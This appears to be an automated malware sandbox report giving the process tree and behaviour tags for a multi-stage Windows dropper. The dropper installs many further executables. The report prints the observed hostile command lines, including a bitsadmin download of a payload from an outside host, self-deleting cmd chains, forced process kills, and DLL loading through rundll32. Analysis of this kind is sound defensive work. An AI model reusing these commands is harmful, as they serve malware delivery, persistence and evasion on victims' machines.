783CA426AE369D17B2656FB1455E81D0.exe783CA426AE369D17B2656FB1455E81D0.tmpUltra.exeultramediaburner.exeultramediaburner.tmpHytelushyri.execmd.exeMicrosoftEdgeCP.execmd.exebuild.exegoogle-game.execmd.exerundll32.exesvchost.execmd.exedescription pid process target process PID 1968 wrote to memory of 4032 1968 783CA426AE369D17B2656FB1455E81D0.exe 783CA426AE369D17B2656FB1455E81D0.tmp PID 1968 wrote to memory of 4032 1968 783CA426AE369D17B2656FB1455E81D0.exe 783CA426AE369D17B2656FB1455E81D0.tmp PID 1968 wrote to memory of 4032 1968 783CA426AE369D17B2656FB1455E81D0.exe 783CA426AE369D17B2656FB1455E81D0.tmp PID 4032 wrote to memory of 2104 4032 783CA426AE369D17B2656FB1455E81D0.tmp Ultra.exe PID 4032 wrote to memory of 2104 4032 783CA426AE369D17B2656FB1455E81D0.tmp Ultra.exe PID 2104 wrote to memory of 3144 2104 Ultra.exe ultramediaburner.exe PID 2104 wrote to memory of 3144 2104 Ultra.exe ultramediaburner.exe PID 2104 wrote to memory of 3144 2104 Ultra.exe ultramediaburner.exe PID 2104 wrote to memory of 1196 2104 Ultra.exe Rodaelesosha.exe PID 2104 wrote to memory of 1196 2104 Ultra.exe Rodaelesosha.exe PID 3144 wrote to memory of 3220 3144 ultramediaburner.exe ultramediaburner.tmp PID 3144 wrote to memory of 3220 3144 ultramediaburner.exe ultramediaburner.tmp PID 3144 wrote to memory of 3220 3144 ultramediaburner.exe ultramediaburner.tmp PID 2104 wrote to memory of 3948 2104 Ultra.exe Hytelushyri.exe PID 2104 wrote to memory of 3948 2104 Ultra.exe Hytelushyri.exe PID 3220 wrote to memory of 816 3220 ultramediaburner.tmp UltraMediaBurner.exe PID 3220 wrote to memory of 816 3220 ultramediaburner.tmp UltraMediaBurner.exe PID 3948 wrote to memory of 4824 3948 Hytelushyri.exe cmd.exe PID 3948 wrote to memory of 4824 3948 Hytelushyri.exe cmd.exe PID 4824 wrote to memory of 4984 4824 cmd.exe build.exe PID 4824 wrote to memory of 4984 4824 cmd.exe build.exe PID 4824 wrote to memory of 4984 4824 cmd.exe build.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 4196 wrote to memory of 4504 4196 MicrosoftEdgeCP.exe MicrosoftEdgeCP.exe PID 3948 wrote to memory of 5980 3948 Hytelushyri.exe cmd.exe PID 3948 wrote to memory of 5980 3948 Hytelushyri.exe cmd.exe PID 5980 wrote to memory of 1972 5980 cmd.exe google-game.exe PID 5980 wrote to memory of 1972 5980 cmd.exe google-game.exe PID 5980 wrote to memory of 1972 5980 cmd.exe google-game.exe PID 4984 wrote to memory of 4380 4984 build.exe cmd.exe PID 4984 wrote to memory of 4380 4984 build.exe cmd.exe PID 4984 wrote to memory of 4380 4984 build.exe cmd.exe PID 1972 wrote to memory of 4424 1972 google-game.exe rundll32.exe PID 1972 wrote to memory of 4424 1972 google-game.exe rundll32.exe PID 1972 wrote to memory of 4424 1972 google-game.exe rundll32.exe PID 4380 wrote to memory of 4680 4380 cmd.exe taskkill.exe PID 4380 wrote to memory of 4680 4380 cmd.exe taskkill.exe PID 4380 wrote to memory of 4680 4380 cmd.exe taskkill.exe PID 4424 wrote to memory of 3572 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 2488 4424 rundll32.exe svchost.exe PID 3572 wrote to memory of 4768 3572 svchost.exe svchost.exe PID 3572 wrote to memory of 4768 3572 svchost.exe svchost.exe PID 3572 wrote to memory of 4768 3572 svchost.exe svchost.exe PID 4424 wrote to memory of 1008 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 2304 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 2340 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 1088 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 948 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 1436 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 1868 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 1256 4424 rundll32.exe svchost.exe PID 4380 wrote to memory of 5388 4380 cmd.exe timeout.exe PID 4380 wrote to memory of 5388 4380 cmd.exe timeout.exe PID 4380 wrote to memory of 5388 4380 cmd.exe timeout.exe PID 4424 wrote to memory of 1348 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 2592 4424 rundll32.exe svchost.exe PID 4424 wrote to memory of 2568 4424 rundll32.exe svchost.exe PID 3948 wrote to memory of 4280 3948 Hytelushyri.exe cmd.exe PID 3948 wrote to memory of 4280 3948 Hytelushyri.exe cmd.exe PID 4280 wrote to memory of 6116 4280 cmd.exe md8_8eus.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\783CA426AE369D17B2656FB1455E81D0.exe"C:\Users\Admin\AppData\Local\Temp\783CA426AE369D17B2656FB1455E81D0.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-BF814.tmp\783CA426AE369D17B2656FB1455E81D0.tmp"C:\Users\Admin\AppData\Local\Temp\is-BF814.tmp\783CA426AE369D17B2656FB1455E81D0.tmp" /SL5="$A0064,140559,56832,C:\Users\Admin\AppData\Local\Temp\783CA426AE369D17B2656FB1455E81D0.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-1M16P.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-1M16P.tmp\Ultra.exe" /S /UID=instrx43⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files\7-Zip\CULZRZURYT\ultramediaburner.exe"C:\Program Files\7-Zip\CULZRZURYT\ultramediaburner.exe" /VERYSILENT4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-5BJ8M.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-5BJ8M.tmp\ultramediaburner.tmp" /SL5="$70058,281924,62464,C:\Program Files\7-Zip\CULZRZURYT\ultramediaburner.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\8b-15337-5af-896ad-5cfb399205216\Rodaelesosha.exe"C:\Users\Admin\AppData\Local\Temp\8b-15337-5af-896ad-5cfb399205216\Rodaelesosha.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1f-20acd-650-6c297-2cc8fddc1360e\Hytelushyri.exe"C:\Users\Admin\AppData\Local\Temp\1f-20acd-650-6c297-2cc8fddc1360e\Hytelushyri.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ilxdkqpt.rxl\build.exe & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\ilxdkqpt.rxl\build.exeC:\Users\Admin\AppData\Local\Temp\ilxdkqpt.rxl\build.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\ilxdkqpt.rxl\build.exe" & del C:\ProgramData\*.dll & exit7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build.exe /f8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sudqawfj.h3w\google-game.exe & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\sudqawfj.h3w\google-game.exeC:\Users\Admin\AppData\Local\Temp\sudqawfj.h3w\google-game.exe6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install7⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1rlhilcz.x14\md8_8eus.exe & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1rlhilcz.x14\md8_8eus.exeC:\Users\Admin\AppData\Local\Temp\1rlhilcz.x14\md8_8eus.exe6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3muyb00m.4fy\KiffApp2.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\3muyb00m.4fy\KiffApp2.exeC:\Users\Admin\AppData\Local\Temp\3muyb00m.4fy\KiffApp2.exe6⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3psd5pyf.glm\gpooe.exe & exit5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2tsgz4of.oca\y1.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\2tsgz4of.oca\y1.exeC:\Users\Admin\AppData\Local\Temp\2tsgz4of.oca\y1.exe6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2tsgz4of.oca\y1.exe"7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK8⤵
- Delays execution with timeout.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\chfqsnnm.z1t\inst.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\chfqsnnm.z1t\inst.exeC:\Users\Admin\AppData\Local\Temp\chfqsnnm.z1t\inst.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\cPcVPDYTjinGfPmSMD\frXLzvC:\Users\Admin\AppData\Local\Temp\cPcVPDYTjinGfPmSMD\frXLzv7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ho0hlmtq.u25\toolspab2.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\ho0hlmtq.u25\toolspab2.exeC:\Users\Admin\AppData\Local\Temp\ho0hlmtq.u25\toolspab2.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\ho0hlmtq.u25\toolspab2.exeC:\Users\Admin\AppData\Local\Temp\ho0hlmtq.u25\toolspab2.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\feaofg25.mnw\askinstall31.exe & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\feaofg25.mnw\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\feaofg25.mnw\askinstall31.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yifxfliw.dd1\SunLabsPlayer.exe /S & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\yifxfliw.dd1\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\yifxfliw.dd1\SunLabsPlayer.exe /S6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pVpjjPP5NbMmOrCq -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -puSsU5COHwUQb6o7 -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\NYRmmlsGBPTI\NYRmmlsGBPTI.dll" NYRmmlsGBPTI7⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\NYRmmlsGBPTI\NYRmmlsGBPTI.dll" NYRmmlsGBPTI8⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA669.tmp\tempfile.ps1"7⤵
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0bvu0qij.n1a\app.exe /8-2222 & exit5⤵
-
C:\Users\Admin\AppData\Local\Temp\0bvu0qij.n1a\app.exeC:\Users\Admin\AppData\Local\Temp\0bvu0qij.n1a\app.exe /8-22226⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 3527⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 3927⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 4087⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6487⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6567⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6927⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6247⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 5887⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7567⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7287⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7807⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7407⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6567⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7327⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7567⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7007⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7087⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7367⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 7087⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 6567⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\0bvu0qij.n1a\app.exe"C:\Users\Admin\AppData\Local\Temp\0bvu0qij.n1a\app.exe" /8-22227⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 3168⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 2968⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 3328⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 5928⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 6688⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 6488⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 5568⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 7088⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 7448⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 6328⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 6088⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 7928⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 8608⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 8288⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 12448⤵
- Program crash
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\F8DD.exeC:\Users\Admin\AppData\Local\Temp\F8DD.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\FB4F.exeC:\Users\Admin\AppData\Local\Temp\FB4F.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\D32.exeC:\Users\Admin\AppData\Local\Temp\D32.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\D32.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\17C2.exeC:\Users\Admin\AppData\Local\Temp\17C2.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\647349126.exe"C:\Users\Admin\AppData\Local\Temp\647349126.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\1371397063.exe"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"2⤵
